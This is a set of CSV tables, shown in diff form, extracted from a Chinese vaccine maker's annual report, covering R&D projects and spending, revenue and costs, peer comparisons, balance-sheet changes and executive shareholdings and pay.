"9","注射用重组人IL12/15-PDL1单纯疱疹I型溶瘤病毒注射液","38910.00","33.49","350.71","临床前研究","获得生产批件","新药","实体瘤治疗"
"10","在中国3至8岁儿童中四价流感病毒裂解疫苗2针次免疫程序的探索研究","300.00","54.38","225.80","临床研究完成","获得注册批件","国内领先","预防流行性感冒"
"合计","/","238710.00","2793.34","18006.04","/","/","/","/"
1 资规模 金额 金额 阶段性成果 到目标 水平 应用前景
2 1 冻干人用狂犬病疫苗(Vero细胞) 10000.00 1599.09 11578.76 注册申请中 获得生产批件 国内领先 用于预防狂犬病
3 2 四价流感病毒裂解疫苗(儿童) 33000.00 410.69 1481.50 III期临床试验前期准备中 获得生产批件 国内领先 用于预防流行性感冒
4 3 23价肺炎球菌多糖疫苗/13价肺炎球菌多糖结合疫苗 22980.00 123.49 631.25 临床前研究 获得生产批件 国内领先 用于预防肺炎
5 4 冻干水痘减毒活疫苗 31975.00 225.03 946.69 临床前研究 获得生产批件 国内领先 用于预防水痘
6 5 四价流感病毒裂解疫苗(高剂量) 11745.00 110.64 1961.90 临床前研究 获得生产批件 国内领先 用于预防流行性感冒
7 6 重组带状疱疹疫苗 31975.00 168.99 429.68 临床前研究 获得生产批件 国内领先 用于预防带状疱疹
8 7 冻干人用狂犬病疫苗(MRC-5细胞) 27915.00 33.77 200.46 临床前研究 获得生产批件 国内领先 用于预防狂犬病
9 8 多价手足口病疫苗 29910.00 33.77 199.29 临床前研究 获得生产批件 国内领先 用于预防手足口病
10 9 注射用重组人IL12/15-PDL1单纯疱疹I型溶瘤病毒注射液 38910.00 33.49 350.71 临床前研究 获得生产批件 新药 实体瘤治疗
11 10 在中国3至8岁儿童中四价流感病毒裂解疫苗2针次免疫程序的探索研究 300.00 54.38 225.80 临床研究完成 获得注册批件 国内领先 预防流行性感冒
12 合计 / 238710.00 2793.34 18006.04 / / / /

View File

@ -1,6 +0,0 @@
"基本情况","基本情况","基本情况"
"","本期数","上期数"
"公司研发人员的数量(人)","60","58"
"研发人员数量占公司总人数的比例(%","13.10","12.24"
"研发人员薪酬合计","1012.67","932.12"
"研发人员平均薪酬","16.88","16.07"
1 基本情况 基本情况 基本情况
2 本期数 上期数
3 公司研发人员的数量(人) 60 58
4 研发人员数量占公司总人数的比例(%) 13.10 12.24
5 研发人员薪酬合计 1012.67 932.12
6 研发人员平均薪酬 16.88 16.07

View File

@ -1,14 +0,0 @@
"研发人员学历结构","研发人员学历结构"
"学历结构类别","学历结构人数"
"博士研究生","3"
"硕士研究生","6"
"本科","40"
"专科","10"
"高中及以下","1"
"研发人员年龄结构","研发人员年龄结构"
"年龄结构类别","年龄结构人数"
"30岁以下不含30岁","29"
"30-40岁含30岁不含40岁","20"
"40-50岁含40岁不含50岁","5"
"50-60岁含50岁不含60岁","4"
"60岁及以上","2"
1 研发人员学历结构 研发人员学历结构
2 学历结构类别 学历结构人数
3 博士研究生 3
4 硕士研究生 6
5 本科 40
6 专科 10
7 高中及以下 1
8 研发人员年龄结构 研发人员年龄结构
9 年龄结构类别 年龄结构人数
10 30岁以下(不含30岁) 29
11 30-40岁(含30岁,不含40岁) 20
12 40-50岁(含40岁,不含50岁) 5
13 50-60岁(含50岁,不含60岁) 4
14 60岁及以上 2

View File

@ -1,10 +0,0 @@
"科目","本期数","上年同期数","变动比例(%"
"营业收入","134591377.00","318486074.97","-57.74"
"营业成本","29864436.32","50588057.11","-40.97"
"销售费用","77073744.58","107494355.33","-28.30"
"管理费用","58638054.44","60622550.89","-3.27"
"财务费用","42981.30","-355527.32","不适用"
"研发费用","15471820.82","32409476.90","-52.26"
"经营活动产生的现金流量净额","80904692.08","38595320.99","109.62"
"投资活动产生的现金流量净额","-187707765.08","112695639.52","-266.56"
"筹资活动产生的现金流量净额","2517734.96","-13250290.31","不适用"
1 科目 本期数 上年同期数 变动比例(%)
2 营业收入 134591377.00 318486074.97 -57.74
3 营业成本 29864436.32 50588057.11 -40.97
4 销售费用 77073744.58 107494355.33 -28.30
5 管理费用 58638054.44 60622550.89 -3.27
6 财务费用 42981.30 -355527.32 不适用
7 研发费用 15471820.82 32409476.90 -52.26
8 经营活动产生的现金流量净额 80904692.08 38595320.99 109.62
9 投资活动产生的现金流量净额 -187707765.08 112695639.52 -266.56
10 筹资活动产生的现金流量净额 2517734.96 -13250290.31 不适用

View File

@ -1,2 +0,0 @@
"主营业务分行业情况"
"营业收入营业成本毛利率毛利率分行业营业收入营业成本比上年增比上年增比上年(%)减(%)减(%)增减"
1 主营业务分行业情况
2 营业收入营业成本毛利率毛利率分行业营业收入营业成本比上年增比上年增比上年(%)减(%)减(%)增减

View File

@ -1,11 +0,0 @@
"%","%","%","%","%","%","%"
"减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点","减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点","减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点","减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点","减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点","减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点","减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点"
"主营业务分产品情况","主营业务分产品情况","主营业务分产品情况","主营业务分产品情况","主营业务分产品情况","主营业务分产品情况","主营业务分产品情况"
"分产品","营业收入","营业成本","毛利率(%","营业收入比上年增减(%","营业成本比上年增减(%","毛利率比上年增减(%"
"四价流感病毒裂解疫苗","134591377.00","29864436.32","77.81","-57.74","-40.97","减少6.31个百分点"
"主营业务分地区情况","主营业务分地区情况","主营业务分地区情况","主营业务分地区情况","主营业务分地区情况","主营业务分地区情况","主营业务分地区情况"
"分地区","营业收入","营业成本","毛利率(%","营业收入比上年增减(%","营业成本比上年增减(%","毛利率比上年增减(%"
"国内","134591377.00","29864436.32","77.81","-57.74","-40.97","减少6.31个百分点"
"主营业务分销售模式情况","主营业务分销售模式情况","主营业务分销售模式情况","主营业务分销售模式情况","主营业务分销售模式情况","主营业务分销售模式情况","主营业务分销售模式情况"
"销售模式","营业收入","营业成本","毛利率(%","营业收入比上年增减(%","营业成本比上年增减(%","毛利率比上年增减(%"
"直销","134591377.00","29864436.32","77.81","-57.74","-40.97","减少6.31个百分点"
1 (%) (%) (%) (%) (%) (%) (%)
2 减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点 减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点 减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点 减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点 减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点 减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点 减少生物制药134591377.0029864436.3277.81-57.74-40.976.31个百分点
3 主营业务分产品情况 主营业务分产品情况 主营业务分产品情况 主营业务分产品情况 主营业务分产品情况 主营业务分产品情况 主营业务分产品情况
4 分产品 营业收入 营业成本 毛利率(%) 营业收入比上年增减(%) 营业成本比上年增减(%) 毛利率比上年增减(%)
5 四价流感病毒裂解疫苗 134591377.00 29864436.32 77.81 -57.74 -40.97 减少6.31个百分点
6 主营业务分地区情况 主营业务分地区情况 主营业务分地区情况 主营业务分地区情况 主营业务分地区情况 主营业务分地区情况 主营业务分地区情况
7 分地区 营业收入 营业成本 毛利率(%) 营业收入比上年增减(%) 营业成本比上年增减(%) 毛利率比上年增减(%)
8 国内 134591377.00 29864436.32 77.81 -57.74 -40.97 减少6.31个百分点
9 主营业务分销售模式情况 主营业务分销售模式情况 主营业务分销售模式情况 主营业务分销售模式情况 主营业务分销售模式情况 主营业务分销售模式情况 主营业务分销售模式情况
10 销售模式 营业收入 营业成本 毛利率(%) 营业收入比上年增减(%) 营业成本比上年增减(%) 毛利率比上年增减(%)
11 直销 134591377.00 29864436.32 77.81 -57.74 -40.97 减少6.31个百分点

View File

@ -1,2 +0,0 @@
"主要产品","单位","生产量","销售量","库存量","生产量比上年增减(%","销售量比上年增减(%","库存量比上年增减(%"
"四价流感病毒裂解疫苗","瓶","2945705","1381358","1152015","-53.20","-51.74","-63.93"
1 主要产品 单位 生产量 销售量 库存量 生产量比上年增减(%) 销售量比上年增减(%) 库存量比上年增减(%)
2 四价流感病毒裂解疫苗 2945705 1381358 1152015 -53.20 -51.74 -63.93

View File

@ -1,11 +0,0 @@
"分行业","成本构成项目","本期金额","本期占总成本比例(%)","上年同期金额","上年同期占总成本比例(%)","本期金额较上年同期变动比例(%)","情况说明"
"生物制药","直接材料","11118814.64","37.23","12840750.18","25.38","-13.41",""
"","直接人工","1506181.29","5.04","2408448.11","4.76","-37.46","销量减少所致"
"","制造费用","9877150.51","33.07","16580810.13","32.78","-40.43",""
"","运输费用","7362289.88","24.66","18758048.69","37.08","-60.75",""
"分产品情况","分产品情况","分产品情况","分产品情况","分产品情况","分产品情况","分产品情况","分产品情况"
"分产品","成本构成项目","本期金额","本期占总成本比例(%)","上年同期金额","上年同期占总成本比例(%)","本期金额较上年同期变动比例(%)","情况说明"
"四价流感病毒裂解疫苗","直接材料","11118814.64","37.23","12840750.18","25.38","-13.41",""
"","直接人工","1506181.29","5.04","2408448.11","4.76","-37.46","销量减少所致"
"","制造费用","9877150.51","33.07","16580810.13","32.78","-40.43",""
"","运输费用","7362289.88","24.66","18758048.69","37.08","-60.75",""
1 分行业 成本构成项目 本期金额 本期占总成本比例(%) 上年同期金额 上年同期占总成本比例(%) 本期金额较上年同期变动比例(%) 情况说明
2 生物制药 直接材料 11118814.64 37.23 12840750.18 25.38 -13.41
3 直接人工 1506181.29 5.04 2408448.11 4.76 -37.46 销量减少所致
4 制造费用 9877150.51 33.07 16580810.13 32.78 -40.43
5 运输费用 7362289.88 24.66 18758048.69 37.08 -60.75
6 分产品情况 分产品情况 分产品情况 分产品情况 分产品情况 分产品情况 分产品情况 分产品情况
7 分产品 成本构成项目 本期金额 本期占总成本比例(%) 上年同期金额 上年同期占总成本比例(%) 本期金额较上年同期变动比例(%) 情况说明
8 四价流感病毒裂解疫苗 直接材料 11118814.64 37.23 12840750.18 25.38 -13.41
9 直接人工 1506181.29 5.04 2408448.11 4.76 -37.46 销量减少所致
10 制造费用 9877150.51 33.07 16580810.13 32.78 -40.43
11 运输费用 7362289.88 24.66 18758048.69 37.08 -60.75

View File

@ -1,5 +0,0 @@
"2","客户二","509.71","3.79","否"
"3","客户三","318.08","2.36","否"
"4","客户四","309.50","2.30","否"
"5","客户五","256.49","1.91","否"
"合计","/","2214.00","16.45","/"
1 2 客户二 509.71 3.79
2 3 客户三 318.08 2.36
3 4 客户四 309.50 2.30
4 5 客户五 256.49 1.91
5 合计 / 2214.00 16.45 /

View File

@ -1,7 +0,0 @@
"序号","供应商名称","采购额","占年度采购总额比例(%","是否与上市公司存在关联关系"
"1","供应商一","1599.68","15.59","否"
"2","供应商二","1084.77","10.57","否"
"3","供应商三","941.52","9.18","否"
"4","供应商四","885.84","8.63","否"
"5","供应商五","849.64","8.28","否"
"合计","/","5361.45","52.25","/"
1 序号 供应商名称 采购额 占年度采购总额比例(%) 是否与上市公司存在关联关系
2 1 供应商一 1599.68 15.59
3 2 供应商二 1084.77 10.57
4 3 供应商三 941.52 9.18
5 4 供应商四 885.84 8.63
6 5 供应商五 849.64 8.28
7 合计 / 5361.45 52.25 /

View File

@ -1,5 +0,0 @@
"科目","本期数","上年同期数","变动比例(%"
"销售费用","77073744.58","107494355.33","-28.30"
"管理费用","58638054.44","60622550.89","-3.27"
"财务费用","42981.30","-355527.32","不适用"
"研发费用","15471820.82","32409476.90","-52.26"
1 科目 本期数 上年同期数 变动比例(%)
2 销售费用 77073744.58 107494355.33 -28.30
3 管理费用 58638054.44 60622550.89 -3.27
4 财务费用 42981.30 -355527.32 不适用
5 研发费用 15471820.82 32409476.90 -52.26

View File

@ -1,3 +0,0 @@
"科目","本期数","上年同期数","变动比例(%"
"经营活动产生的现金流量净额","80904692.08","38595320.99","109.62"
"投资活动产生的现金流量净额","-187707765.08","112695639.52","-266.56"
1 科目 本期数 上年同期数 变动比例(%)
2 经营活动产生的现金流量净额 80904692.08 38595320.99 109.62
3 投资活动产生的现金流量净额 -187707765.08 112695639.52 -266.56

View File

@ -1,13 +0,0 @@
"项目名称","本期期末数","本期期末数占总资产的比例(%","上期期末数","上期期末数占总资产的比例(%","本期期末金额较上期期末变动比例(%","情况说明"
"货币资金","70443588.78","4.32","174728926.82","9.56","","-59.68说明1"
"交易性金融资产","175421746.58","10.75","390568609.77","21.38","","-55.09说明2"
"预付款项","2825253.64","0.17","5735966.10","0.31","","-50.74说明3"
"其他应收款","479099.87","0.03","542645.12","0.03","-11.71",""
"在建工程","649464436.15","39.81","619862948.00","33.93","4.78",""
"长期待摊费用","248564.85","0.02","1626952.89","0.09","","-84.72说明4"
"递延所得税资产","33313943.01","2.04","17752280.68","0.97","","87.66说明5"
"其他非流动资产","3358975.00","0.21","3888619.41","0.21","-13.62",""
"短期借款","64057597.23","3.93","42041861.11","2.30","","52.37说明6"
"应付账款","86670216.00","5.31","98922415.32","5.42","-12.39",""
"合同负债","0.00","0.00","50000.00","0.00","","-100.00说明7"
"应交税费","1046668.08","0.06","1168680.25","0.06","-10.44",""
1 项目名称 本期期末数 本期期末数占总资产的比例(%) 上期期末数 上期期末数占总资产的比例(%) 本期期末金额较上期期末变动比例(%) 情况说明
2 货币资金 70443588.78 4.32 174728926.82 9.56 -59.68说明1
3 交易性金融资产 175421746.58 10.75 390568609.77 21.38 -55.09说明2
4 预付款项 2825253.64 0.17 5735966.10 0.31 -50.74说明3
5 其他应收款 479099.87 0.03 542645.12 0.03 -11.71
6 在建工程 649464436.15 39.81 619862948.00 33.93 4.78
7 长期待摊费用 248564.85 0.02 1626952.89 0.09 -84.72说明4
8 递延所得税资产 33313943.01 2.04 17752280.68 0.97 87.66说明5
9 其他非流动资产 3358975.00 0.21 3888619.41 0.21 -13.62
10 短期借款 64057597.23 3.93 42041861.11 2.30 52.37说明6
11 应付账款 86670216.00 5.31 98922415.32 5.42 -12.39
12 合同负债 0.00 0.00 50000.00 0.00 -100.00说明7
13 应交税费 1046668.08 0.06 1168680.25 0.06 -10.44

View File

@ -1,2 +0,0 @@
"细分行业","主要治疗领域","药(产)品名称","注册分类","适应症或功能主治","是否处方药","是否属于中药保护品种(如涉及)","发明专利起止期限(如适用)","是否属于报告期内推出的新药(产)品","是否纳入国家基药目录","是否纳入国家医保目录","是否纳入省级医保目录"
"生物制药","预防流行性感冒","四价流感病毒裂解疫苗","预防用生物制品","预防流行性感冒","否","否","2020-05-05至2037-08-23","否","否","否","否"
1 细分行业 主要治疗领域 药(产)品名称 注册分类 适应症或功能主治 是否处方药 是否属于中药保护品种(如涉及) 发明专利起止期限(如适用) 是否属于报告期内推出的新药(产)品 是否纳入国家基药目录 是否纳入国家医保目录 是否纳入省级医保目录
2 生物制药 预防流行性感冒 四价流感病毒裂解疫苗 预防用生物制品 预防流行性感冒 2020-05-05至2037-08-23

View File

@ -1,7 +0,0 @@
"研发项目(含一致性评价项目)","药(产)品名称","注册分类","适应症或功能主治","是否处方药","是否属于中药保护品种(如涉及)","研发(注册)所处阶段"
"冻干人用狂犬病疫苗Vero细胞","冻干人用狂犬病疫苗Vero细胞","预防用生物制品3.3类","预防狂犬病","否","否","申报注册"
"四价流感病毒裂解疫苗(儿童)","四价流感病毒裂解疫苗(儿童)","预防用生物制品3.3类","预防流行性感冒","否","否","临床试验"
"23价肺炎球菌多糖疫苗/13价肺炎球菌多糖结合疫苗","23价肺炎球菌多糖疫苗/13价肺炎球菌多糖结合疫苗","预防用生物制品3.3类","预防肺炎","否","否","临床前研究"
"冻干水痘减毒活疫苗","冻干水痘减毒活疫苗","预防用生物制品3.3类","预防水痘","否","否","临床前研究"
"四价流感病毒裂解疫苗(高剂量)","四价流感病毒裂解疫苗(高剂量)","预防用生物制品3.2类","预防流行性感冒","否","否","临床前研究"
"重组带状疱疹疫苗","重组带状疱疹疫苗","预防用生物制品3.3类","预防带状疱疹","否","否","临床前研究"
1 研发项目(含一致性评价项目) 药(产)品名称 注册分类 适应症或功能主治 是否处方药 是否属于中药保护品种(如涉及) 研发(注册)所处阶段
2 冻干人用狂犬病疫苗(Vero细胞) 冻干人用狂犬病疫苗(Vero细胞) 预防用生物制品3.3类 预防狂犬病 申报注册
3 四价流感病毒裂解疫苗(儿童) 四价流感病毒裂解疫苗(儿童) 预防用生物制品3.3类 预防流行性感冒 临床试验
4 23价肺炎球菌多糖疫苗/13价肺炎球菌多糖结合疫苗 23价肺炎球菌多糖疫苗/13价肺炎球菌多糖结合疫苗 预防用生物制品3.3类 预防肺炎 临床前研究
5 冻干水痘减毒活疫苗 冻干水痘减毒活疫苗 预防用生物制品3.3类 预防水痘 临床前研究
6 四价流感病毒裂解疫苗(高剂量) 四价流感病毒裂解疫苗(高剂量) 预防用生物制品3.2类 预防流行性感冒 临床前研究
7 重组带状疱疹疫苗 重组带状疱疹疫苗 预防用生物制品3.3类 预防带状疱疹 临床前研究

View File

@ -1,3 +0,0 @@
"冻干人用狂犬病疫苗MRC-5细胞","冻干人用狂犬病疫苗MRC-5细胞","预防用生物制品3.3类","预防狂犬病","否","否","临床前研究"
"多价手足口病疫苗","多价手足口病疫苗","预防用生物制品1.4类","预防多价手足口病","否","否","临床前研究"
"注射用重组人IL12/15-PDL1单纯疱疹I型溶瘤病毒注射液","注射用重组人IL12/15-PDL1单纯疱疹I型溶瘤病毒注射液","治疗用生物制品1类","实体瘤治疗","否","否","临床前研究"
1 冻干人用狂犬病疫苗(MRC-5细胞) 冻干人用狂犬病疫苗(MRC-5细胞) 预防用生物制品3.3类 预防狂犬病 临床前研究
2 多价手足口病疫苗 多价手足口病疫苗 预防用生物制品1.4类 预防多价手足口病 临床前研究
3 注射用重组人IL12/15-PDL1单纯疱疹I型溶瘤病毒注射液 注射用重组人IL12/15-PDL1单纯疱疹I型溶瘤病毒注射液 治疗用生物制品1类 实体瘤治疗 临床前研究

View File

@ -1,10 +0,0 @@
"同行业可比公司","研发投入金额","研发投入占营业收入比例(%","研发投入占净资产比例(%","研发投入资本化比重(%"
"长春百克生物科技股份有限公司","19874.22","10.89","4.94","5.74"
"云南沃森生物技术股份有限公司","91061.04","22.14","9.74","14.74"
"华兰生物疫苗股份有限公司","9321.33","3.87","1.49","2.26"
"康希诺生物股份公司","66167.10","185.3","12.51","3.58"
"北京万泰生物药业股份有限公司","129251.30","23.45","10.03","7.32"
"同行业平均研发投入金额","同行业平均研发投入金额","53136.88","53136.88","53136.88"
"公司报告期内研发投入占营业收入比例(%","公司报告期内研发投入占营业收入比例(%","23.38","23.38","23.38"
"公司报告期内研发投入占净资产比例(%","公司报告期内研发投入占净资产比例(%","2.29","2.29","2.29"
"公司报告期内研发投入资本化比重(%","公司报告期内研发投入资本化比重(%","50.82","50.82","50.82"
1 同行业可比公司 研发投入金额 研发投入占营业收入比例(%) 研发投入占净资产比例(%) 研发投入资本化比重(%)
2 长春百克生物科技股份有限公司 19874.22 10.89 4.94 5.74
3 云南沃森生物技术股份有限公司 91061.04 22.14 9.74 14.74
4 华兰生物疫苗股份有限公司 9321.33 3.87 1.49 2.26
5 康希诺生物股份公司 66167.10 185.3 12.51 3.58
6 北京万泰生物药业股份有限公司 129251.30 23.45 10.03 7.32
7 同行业平均研发投入金额 同行业平均研发投入金额 53136.88 53136.88 53136.88
8 公司报告期内研发投入占营业收入比例(%) 公司报告期内研发投入占营业收入比例(%) 23.38 23.38 23.38
9 公司报告期内研发投入占净资产比例(%) 公司报告期内研发投入占净资产比例(%) 2.29 2.29 2.29
10 公司报告期内研发投入资本化比重(%) 公司报告期内研发投入资本化比重(%) 50.82 50.82 50.82

View File

@ -1,11 +0,0 @@
"研发项目","研发投入金额","研发投入费用化金额","研发投入资本化金额","研发投入占营业收入比例(%","本期金额较上年同期变动比例(%","情况说明"
"冻干人用狂犬病疫苗Vero细胞","1599.09","","1599.09","11.88","16.44",""
"四价流感病毒裂解疫苗(儿童)","410.69","410.69","","3.05","349.70","本报告期该项目已完成期临床试验正在进行III期临床试验前期准备工作研发投入同比增加。"
"23价肺炎球菌多糖疫苗/13价肺炎球菌多糖结合疫苗","123.49","123.49","","0.92","20.09",""
"冻干水痘减毒活疫苗","225.03","225.03","","1.67","-18.47",""
"四价流感病毒裂解疫苗(高剂量)","110.64","110.64","","0.82","-92.85","本报告期该项目处于临床前研究阶段,研发投入同比减少。"
"重组带状疱疹疫苗","168.99","168.99","","1.26","80.87","本报告期该项目处于临床前研究阶段,技术服务费研发投入同比增加。"
"冻干人用狂犬病疫苗MRC-5细胞","33.77","33.77","","0.25","-55.03","本报告期该项目处于临床前研究阶段,研发投入同比增加。"
"多价手足口病疫苗","33.77","33.77","","0.25","-63.65","本报告期该项目处于临床前研究阶段,研发投入同比增加。"
"注射用重组人IL12/15-PDL1单纯疱疹I型溶瘤病毒注射液","33.49","33.49","","0.25","-57.64","本报告期该项目处于临床前研究阶段,研发投入同比增加。"
"在中国3至8岁儿童中四价流感病毒裂解疫苗2针次免疫程序的探索研究","54.38","54.38","","0.40","-24.28","本报告期该项目临床研究完成,研发投入同比减少。"
1 研发项目 研发投入金额 研发投入费用化金额 研发投入资本化金额 研发投入占营业收入比例(%) 本期金额较上年同期变动比例(%) 情况说明
2 冻干人用狂犬病疫苗(Vero细胞) 1599.09 1599.09 11.88 16.44
3 四价流感病毒裂解疫苗(儿童) 410.69 410.69 3.05 349.70 本报告期该项目已完成Ⅰ期临床试验,正在进行III期临床试验前期准备工作,研发投入同比增加。
4 23价肺炎球菌多糖疫苗/13价肺炎球菌多糖结合疫苗 123.49 123.49 0.92 20.09
5 冻干水痘减毒活疫苗 225.03 225.03 1.67 -18.47
6 四价流感病毒裂解疫苗(高剂量) 110.64 110.64 0.82 -92.85 本报告期该项目处于临床前研究阶段,研发投入同比减少。
7 重组带状疱疹疫苗 168.99 168.99 1.26 80.87 本报告期该项目处于临床前研究阶段,技术服务费研发投入同比增加。
8 冻干人用狂犬病疫苗(MRC-5细胞) 33.77 33.77 0.25 -55.03 本报告期该项目处于临床前研究阶段,研发投入同比增加。
9 多价手足口病疫苗 33.77 33.77 0.25 -63.65 本报告期该项目处于临床前研究阶段,研发投入同比增加。
10 注射用重组人IL12/15-PDL1单纯疱疹I型溶瘤病毒注射液 33.49 33.49 0.25 -57.64 本报告期该项目处于临床前研究阶段,研发投入同比增加。
11 在中国3至8岁儿童中四价流感病毒裂解疫苗2针次免疫程序的探索研究 54.38 54.38 0.40 -24.28 本报告期该项目临床研究完成,研发投入同比减少。

View File

@ -1,9 +0,0 @@
"具体项目名称","本期发生额","本期发生额占销售费用总额比例(%"
"薪酬及社保费用","862.50","11.19"
"差旅费","66.75","0.87"
"业务招待费","35.21","0.46"
"销售服务费","6469.41","83.93"
"办公费","6.33","0.08"
"会议费","212.51","2.76"
"其他","54.66","0.71"
"合计","7707.37","100.00"
1 具体项目名称 本期发生额 本期发生额占销售费用总额比例(%)
2 薪酬及社保费用 862.50 11.19
3 差旅费 66.75 0.87
4 业务招待费 35.21 0.46
5 销售服务费 6469.41 83.93
6 办公费 6.33 0.08
7 会议费 212.51 2.76
8 其他 54.66 0.71
9 合计 7707.37 100.00

View File

@ -1,8 +0,0 @@
"同行业可比公司","销售费用","销售费用占营业收入比例(%"
"长春百克生物科技股份有限公司","64716.89","35.47"
"云南沃森生物技术股份有限公司","151957.55","36.94"
"华兰生物疫苗股份有限公司","94899.25","39.37"
"康希诺生物股份公司","35339.54","98.97"
"北京万泰生物药业股份有限公司","159509.44","28.94"
"公司报告期内销售费用总额","公司报告期内销售费用总额","7707.37"
"公司报告期内销售费用占营业收入比例(%","公司报告期内销售费用占营业收入比例(%","57.26"
1 同行业可比公司 销售费用 销售费用占营业收入比例(%)
2 长春百克生物科技股份有限公司 64716.89 35.47
3 云南沃森生物技术股份有限公司 151957.55 36.94
4 华兰生物疫苗股份有限公司 94899.25 39.37
5 康希诺生物股份公司 35339.54 98.97
6 北京万泰生物药业股份有限公司 159509.44 28.94
7 公司报告期内销售费用总额 公司报告期内销售费用总额 7707.37
8 公司报告期内销售费用占营业收入比例(%) 公司报告期内销售费用占营业收入比例(%) 57.26

View File

@ -1,3 +0,0 @@
"资产类别","期初数","本期公允价值变动损益","计入权益的累计公允价值变动","本期计提的减值","本期购买金额","本期出售/赎回金额","其他变动","期末数"
"其他","390568609.77","-146863.19","","","","215000000.00","","175421746.58"
"合计","390568609.77","-146863.19","","","","215000000.00","","175421746.58"
1 资产类别 期初数 本期公允价值变动损益 计入权益的累计公允价值变动 本期计提的减值 本期购买金额 本期出售/赎回金额 其他变动 期末数
2 其他 390568609.77 -146863.19 215000000.00 175421746.58
3 合计 390568609.77 -146863.19 215000000.00 175421746.58

View File

@ -1,3 +0,0 @@
"备查文件目录","载有公司负责人、主管会计工作负责人、会计机构负责人(会计主管人员)签名并盖章的财务报表"
"","载有会计师事务所盖章、注册会计师签名并盖章的审计报告原件"
"","报告期内公开披露过的所有公司文件的正本及公告的原稿。"
1 备查文件目录 载有公司负责人、主管会计工作负责人、会计机构负责人(会计主管人员)签名并盖章的财务报表
2 载有会计师事务所盖章、注册会计师签名并盖章的审计报告原件
3 报告期内公开披露过的所有公司文件的正本及公告的原稿。

View File

@ -1,2 +0,0 @@
"会议届次","召开日期","决议刊登的指定网站的查询索引","决议刊登的披露日期","会议决议"
"2022年年度股东大会","2023年5月10日","www.sse.com.cn","2023年5月11日","议案全部审议通过"
1 会议届次 召开日期 决议刊登的指定网站的查询索引 决议刊登的披露日期 会议决议
2 2022年年度股东大会 2023年5月10日 www.sse.com.cn 2023年5月11日 议案全部审议通过

View File

@ -1,10 +0,0 @@
"姓名","职务","性别","年龄","任期起始日期","任期终止日期","","年初持股数年末持股数","年度内股份增减变动量","增减变动原因","报告期内从公司获得的税前报酬总额(万元)","是否在公司关联方获取报酬"
"余军","董事长、核心技术人员","男","55","2020-06-15","2026-05-10","27049291","37869007","10819716","资本公积金转增股本","128.87否",""
"张良斌","董事","男","49","2020-06-15","2026-05-10","27049291","37869008","10819717","资本公积金转增股本","","0是"
"聂申钱","董事","男","76","2020-06-15","2026-05-10","3381159","4733623","1352464","资本公积金转增股本","","0是"
"夏建国","董事、副总经理","男","51","2020-06-15","2026-05-10","2086865","2921611","","834746不适用","88.87否",""
"邵蓉","独立董事女","","62","2020-06-15","2026-05-10","0","0","","0不适用","","12否"
"管建强","独立董事男","","66","2020-06-15","2026-05-10","0","0","","0不适用","","12否"
"程华(辞职)","独立董事女","","45","2020-06-15","2024-01-10","0","0","","0不适用","","12否"
"魏大昌","监事会主席","男","56","2020-06-15","2026-05-10","0","0","","0不适用","62.78否",""
"余晖晟","职工监事男","","28","2020-06-15","2026-05-10","0","0","","0不适用","8.79否",""
1 姓名 职务 性别 年龄 任期起始日期 任期终止日期 年初持股数年末持股数 年度内股份增减变动量 增减变动原因 报告期内从公司获得的税前报酬总额(万元) 是否在公司关联方获取报酬
2 余军 董事长、核心技术人员 55 2020-06-15 2026-05-10 27049291 37869007 10819716 资本公积金转增股本 128.87否
3 张良斌 董事 49 2020-06-15 2026-05-10 27049291 37869008 10819717 资本公积金转增股本 0是
4 聂申钱 董事 76 2020-06-15 2026-05-10 3381159 4733623 1352464 资本公积金转增股本 0是
5 夏建国 董事、副总经理 51 2020-06-15 2026-05-10 2086865 2921611 834746不适用 88.87否
6 邵蓉 独立董事女 62 2020-06-15 2026-05-10 0 0 0不适用 12否
7 管建强 独立董事男 66 2020-06-15 2026-05-10 0 0 0不适用 12否
8 程华(辞职) 独立董事女 45 2020-06-15 2024-01-10 0 0 0不适用 12否
9 魏大昌 监事会主席 56 2020-06-15 2026-05-10 0 0 0不适用 62.78否
10 余晖晟 职工监事男 28 2020-06-15 2026-05-10 0 0 0不适用 8.79否

View File

@ -1,11 +0,0 @@
"黄玲","监事","女","58","2020-06-15","2026-05-10","0","0","","0不适用","","12否"
"张建辉","总经理","男","66","2023-10-27","2026-05-10","4057394","5680352","1622958","资本公积金转增股本","30.50是",""
"任晚琼(离职)","副总经理女","","54","2020-06-15","2023-10-27","0","0","","0不适用","88.86否",""
"樊长勇","副总经理男","","45","2020-06-15","2026-05-10","0","0","","0不适用","56.77否",""
"田国雄","副总经理男","","45","2022-05-30","2026-05-10","0","0","","0不适用","118.03否",""
"滕红刚(离职)","副总经理男","","52","2022-05-30","2023-05-10","0","0","","0不适用","29.31否",""
"黄强","财务总监男","","44","2022-04-08","2026-05-10","0","0","","0不适用","63.17否",""
"李志刚(离职)","副总经理男","","42","2023-10-27","2023-12-22","0","0","","0不适用","41.93否",""
"赵巍(离职)","副总经理男","","45","2023-10-27","2023-12-22","0","0","","0不适用","18.29否",""
"吴建华","核心技术人员","男","49","2009-10-01","-","0","0","","0不适用","40.91否",""
"合计","/","/","/","/","/","","","","/","825.08","/"
1 黄玲 监事 58 2020-06-15 2026-05-10 0 0 0不适用 12否
2 张建辉 总经理 66 2023-10-27 2026-05-10 4057394 5680352 1622958 资本公积金转增股本 30.50是
3 任晚琼(离职) 副总经理女 54 2020-06-15 2023-10-27 0 0 0不适用 88.86否
4 樊长勇 副总经理男 45 2020-06-15 2026-05-10 0 0 0不适用 56.77否
5 田国雄 副总经理男 45 2022-05-30 2026-05-10 0 0 0不适用 118.03否
6 滕红刚(离职) 副总经理男 52 2022-05-30 2023-05-10 0 0 0不适用 29.31否
7 黄强 财务总监男 44 2022-04-08 2026-05-10 0 0 0不适用 63.17否
8 李志刚(离职) 副总经理男 42 2023-10-27 2023-12-22 0 0 0不适用 41.93否
9 赵巍(离职) 副总经理男 45 2023-10-27 2023-12-22 0 0 0不适用 18.29否
